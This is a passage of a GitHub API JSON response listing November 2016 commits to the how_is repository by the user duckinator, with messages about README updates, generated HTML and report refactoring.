},{"sha":"7c3fad6e563109436f77043843774708891c110a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2MzZmFkNmU1NjMxMDk0MzZmNzcwNDM4NDM3NzQ3MDg4OTFjMTEwYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T14:15:02Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T14:15:02Z"},"message":"Beginning of converting issue_or_pr_summary to a list.","tree":{"sha":"fa37230c620abdbd6c83c3192e388072068229d9","url":"https://api.github.com/repos/how-is/how_is/git/trees/fa37230c620abdbd6c83c3192e388072068229d9"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7c3fad6e563109436f77043843774708891c110a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7c3fad6e563109436f77043843774708891c110a","html_url":"https://github.com/how-is/how_is/commit/7c3fad6e563109436f77043843774708891c110a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7c3fad6e563109436f77043843774708891c110a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"88660e5222a99751c88554eb1551294f27972778","url":"https://api.github.com/repos/how-is/how_is/commits/88660e5222a99751c88554eb1551294f27972778","html_url":"https://github.com/how-is/how_is/commit/88660e5222a99751c88554eb1551294f27972778"}]},{"sha":"88660e5222a99751c88554eb1551294f27972778","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODg2NjBlNTIyMmE5OTc1MWM4ODU1NGViMTU1MTI5NGYyNzk3Mjc3OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T13:49:12Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-11-25T13:49:12Z"},"message":"Merge pull request #82 from how-is/improve-generated-html\n\nImprove generated HTML, for easier debugging.","tree":{"sha":"ee0f0ff47b6d7d1bd1024d743161ccfa7ca1d61a","url":"https://api.github.com/repos/how-is/how_is/git/trees/ee0f0ff47b6d7d1bd1024d743161ccfa7ca1d61a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/88660e5222a99751c88554eb1551294f27972778","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/88660e5222a99751c88554eb1551294f27972778","html_url":"https://github.com/how-is/how_is/commit/88660e5222a99751c88554eb1551294f27972778","comments_url":"https://api.github.com/repos/how-is/how_is/commits/88660e5222a99751c88554eb1551294f27972778/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"8bc35d983448c21fa15f90fd6d49149994453062","url":"https://api.github.com/repos/how-is/how_is/commits/8bc35d983448c21fa15f90fd6d49149994453062","html_url":"https://github.com/how-is/how_is/commit/8bc35d983448c21fa15f90fd6d49149994453062"},{"sha":"e8494466841528d0e5b5ad1d6f1156579773964f","url":"https://api.github.com/repos/how-is/how_is/commits/e8494466841528d0e5b5ad1d6f1156579773964f","html_url":"https://github.com/how-is/how_is/commit/e8494466841528d0e5b5ad1d6f1156579773964f"}]},{"sha":"e8494466841528d0e5b5ad1d6f1156579773964f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTg0OTQ0NjY4NDE1MjhkMGU1YjVhZDFkNmYxMTU2NTc5NzczOTY0Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T13:45:51Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T13:45:51Z"},"message":"Improve generated HTML, for easier debugging.","tree":{"sha":"ee0f0ff47b6d7d1bd1024d743161ccfa7ca1d61a","url":"https://api.github.com/repos/how-is/how_is/git/trees/ee0f0ff47b6d7d1bd1024d743161ccfa7ca1d61a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e8494466841528d0e5b5ad1d6f1156579773964f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e8494466841528d0e5b5ad1d6f1156579773964f","html_url":"https://github.com/how-is/how_is/commit/e8494466841528d0e5b5ad1d6f1156579773964f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e8494466841528d0e5b5ad1d6f1156579773964f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"8bc35d983448c21fa15f90fd6d49149994453062","url":"https://api.github.com/repos/how-is/how_is/commits/8bc35d983448c21fa15f90fd6d49149994453062","html_url":"https://github.com/how-is/how_is/commit/8bc35d983448c21fa15f90fd6d49149994453062"}]},{"sha":"8bc35d983448c21fa15f90fd6d49149994453062","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGJjMzVkOTgzNDQ4YzIxZmExNWY5MGZkNmQ0OTE0OTk5NDQ1MzA2Mg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-24T03:02:03Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-11-24T03:02:03Z"},"message":"Merge pull request #81 from how-is/update-readme\n\nUpdate readme","tree":{"sha":"1ad68fe0af5074afbefa56d9ef3646ee2d3d4c22","url":"https://api.github.com/repos/how-is/how_is/git/trees/1ad68fe0af5074afbefa56d9ef3646ee2d3d4c22"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8bc35d983448c21fa15f90fd6d49149994453062","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8bc35d983448c21fa15f90fd6d49149994453062","html_url":"https://github.com/how-is/how_is/commit/8bc35d983448c21fa15f90fd6d49149994453062","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8bc35d983448c21fa15f90fd6d49149994453062/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"be961f584222622964bea65bf43ab79592c52eda","url":"https://api.github.com/repos/how-is/how_is/commits/be961f584222622964bea65bf43ab79592c52eda","html_url":"https://github.com/how-is/how_is/commit/be961f584222622964bea65bf43ab79592c52eda"},{"sha":"230dd843980fc1ba9b2a3990ecefeb5d14c30f1a","url":"https://api.github.com/repos/how-is/how_is/commits/230dd843980fc1ba9b2a3990ecefeb5d14c30f1a","html_url":"https://github.com/how-is/how_is/commit/230dd843980fc1ba9b2a3990ecefeb5d14c30f1a"}]},{"sha":"230dd843980fc1ba9b2a3990ecefeb5d14c30f1a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjMwZGQ4NDM5ODBmYzFiYTliMmEzOTkwZWNlZmViNWQxNGMzMGYxYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-24T02:57:45Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-11-24T02:57:45Z"},"message":"Update README.md","tree":{"sha":"1ad68fe0af5074afbefa56d9ef3646ee2d3d4c22","url":"https://api.github.com/repos/how-is/how_is/git/trees/1ad68fe0af5074afbefa56d9ef3646ee2d3d4c22"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/230dd843980fc1ba9b2a3990ecefeb5d14c30f1a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/230dd843980fc1ba9b2a3990ecefeb5d14c30f1a","html_url":"https://github.com/how-is/how_is/commit/230dd843980fc1ba9b2a3990ecefeb5d14c30f1a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/230dd843980fc1ba9b2a3990ecefeb5d14c30f1a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"1c63ccf0053e82220f9da50d8ce3151275605b50","url":"https://api.github.com/repos/how-is/how_is/commits/1c63ccf0053e82220f9da50d8ce3151275605b50","html_url":"https://github.com/how-is/how_is/commit/1c63ccf0053e82220f9da50d8ce3151275605b50"}]},{"sha":"1c63ccf0053e82220f9da50d8ce3151275605b50","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWM2M2NjZjAwNTNlODIyMjBmOWRhNTBkOGNlMzE1MTI3NTYwNWI1MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-24T02:52:39Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-24T02:52:39Z"},"message":"Update README.md","tree":{"sha":"4579b0096b3f917b9f3fca4fc0d08d937a82cd58","url":"https://api.github.com/repos/how-is/how_is/git/trees/4579b0096b3f917b9f3fca4fc0d08d937a82cd58"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1c63ccf0053e82220f9da50d8ce3151275605b50","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1c63ccf0053e82220f9da50d8ce3151275605b50","html_url":"https://github.com/how-is/how_is/commit/1c63ccf0053e82220f9da50d8ce3151275605b50","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1c63ccf0053e82220f9da50d8ce3151275605b50/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"8a2e553c195eccddcf8c3acbc0e769c9b2509a86","url":"https://api.github.com/repos/how-is/how_is/commits/8a2e553c195eccddcf8c3acbc0e769c9b2509a86","html_url":"https://github.com/how-is/how_is/commit/8a2e553c195eccddcf8c3acbc0e769c9b2509a86"}]},{"sha":"8a2e553c195eccddcf8c3acbc0e769c9b2509a86","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGEyZTU1M2MxOTVlY2NkZGNmOGMzYWNiYzBlNzY5YzliMjUwOWE4Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-24T02:51:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-24T02:51:14Z"},"message":"You can not, in fact, leave out the filename with --config.","tree":{"sha":"acf8ce5ab96e7feb81e03abeaa4a43df24c682e6","url":"https://api.github.com/repos/how-is/how_is/git/trees/acf8ce5ab96e7feb81e03abeaa4a43df24c682e6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8a2e553c195eccddcf8c3acbc0e769c9b2509a86","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8a2e553c195eccddcf8c3acbc0e769c9b2509a86","html_url":"https://github.com/how-is/how_is/commit/8a2e553c195eccddcf8c3acbc0e769c9b2509a86","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8a2e553c195eccddcf8c3acbc0e769c9b2509a86/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"be961f584222622964bea65bf43ab79592c52eda","url":"https://api.github.com/repos/how-is/how_is/commits/be961f584222622964bea65bf43ab79592c52eda","html_url":"https://github.com/how-is/how_is/commit/be961f584222622964bea65bf43ab79592c52eda"}]},{"sha":"be961f584222622964bea65bf43ab79592c52eda","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmU5NjFmNTg0MjIyNjIyOTY0YmVhNjViZjQzYWI3OTU5MmM1MmVkYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-13T05:16:30Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-11-13T05:16:30Z"},"message":"Merge pull request #80 from how-is/define-basereport-methods\n\nDefine unimplemented methods; make github_pulse_summary private.","tree":{"sha":"27899f70308c5f2ead9a66f59879d383b36327ff","url":"https://api.github.com/repos/how-is/how_is/git/trees/27899f70308c5f2ead9a66f59879d383b36327ff"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/be961f584222622964bea65bf43ab79592c52eda","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/be961f584222622964bea65bf43ab79592c52eda","html_url":"https://github.com/how-is/how_is/commit/be961f584222622964bea65bf43ab79592c52eda","comments_url":"https://api.github.com/repos/how-is/how_is/commits/be961f584222622964bea65bf43ab79592c52eda/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"2ecb875d2862a3b7d2418df2408ceafe1c5dac6a","url":"https://api.github.com/repos/how-is/how_is/commits/2ecb875d2862a3b7d2418df2408ceafe1c5dac6a","html_url":"https://github.com/how-is/how_is/commit/2ecb875d2862a3b7d2418df2408ceafe1c5dac6a"},{"sha":"0be66c68b200d3f086e7e70ab16764912683c874","url":"https://api.github.com/repos/how-is/how_is/commits/0be66c68b200d3f086e7e70ab16764912683c874","html_url":"https://github.com/how-is/how_is/commit/0be66c68b200d3f086e7e70ab16764912683c874"}]},{"sha":"0be66c68b200d3f086e7e70ab16764912683c874","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGJlNjZjNjhiMjAwZDNmMDg2ZTdlNzBhYjE2NzY0OTEyNjgzYzg3NA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-13T05:14:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-13T05:14:14Z"},"message":"Define unimplemented methods; make github_pulse_summary private.","tree":{"sha":"27899f70308c5f2ead9a66f59879d383b36327ff","url":"https://api.github.com/repos/how-is/how_is/git/trees/27899f70308c5f2ead9a66f59879d383b36327ff"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0be66c68b200d3f086e7e70ab16764912683c874","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0be66c68b200d3f086e7e70ab16764912683c874","html_url":"https://github.com/how-is/how_is/commit/0be66c68b200d3f086e7e70ab16764912683c874","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0be66c68b200d3f086e7e70ab16764912683c874/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2ecb875d2862a3b7d2418df2408ceafe1c5dac6a","url":"https://api.github.com/repos/how-is/how_is/commits/2ecb875d2862a3b7d2418df2408ceafe1c5dac6a","html_url":"https://github.com/how-is/how_is/commit/2ecb875d2862a3b7d2418df2408ceafe1c5dac6a"}]},{"sha":"2ecb875d2862a3b7d2418df2408ceafe1c5dac6a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmVjYjg3NWQyODYyYTNiN2QyNDE4ZGYyNDA4Y2VhZmUxYzVkYWM2YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-13T05:08:45Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-11-13T05:08:45Z"},"message":"Merge pull request #79 from how-is/extract-basereport\n\nExtract BaseReport into its own file.","tree":{"sha":"4ce5714ef90bdccf7d735292b70a0a2db6f9fa87","url":"https://api.github.com/repos/how-is/how_is/git/trees/4ce5714ef90bdccf7d735292b70a0a2db6f9fa87"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2ecb875d2862a3b7d2418df2408ceafe1c5dac6a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2ecb875d2862a3b7d2418df2408ceafe1c5dac6a","html_url":"https://github.com/how-is/how_is/commit/2ecb875d2862a3b7d2418df2408ceafe1c5dac6a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2ecb875d2862a3b7d2418df2408ceafe1c5dac6a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/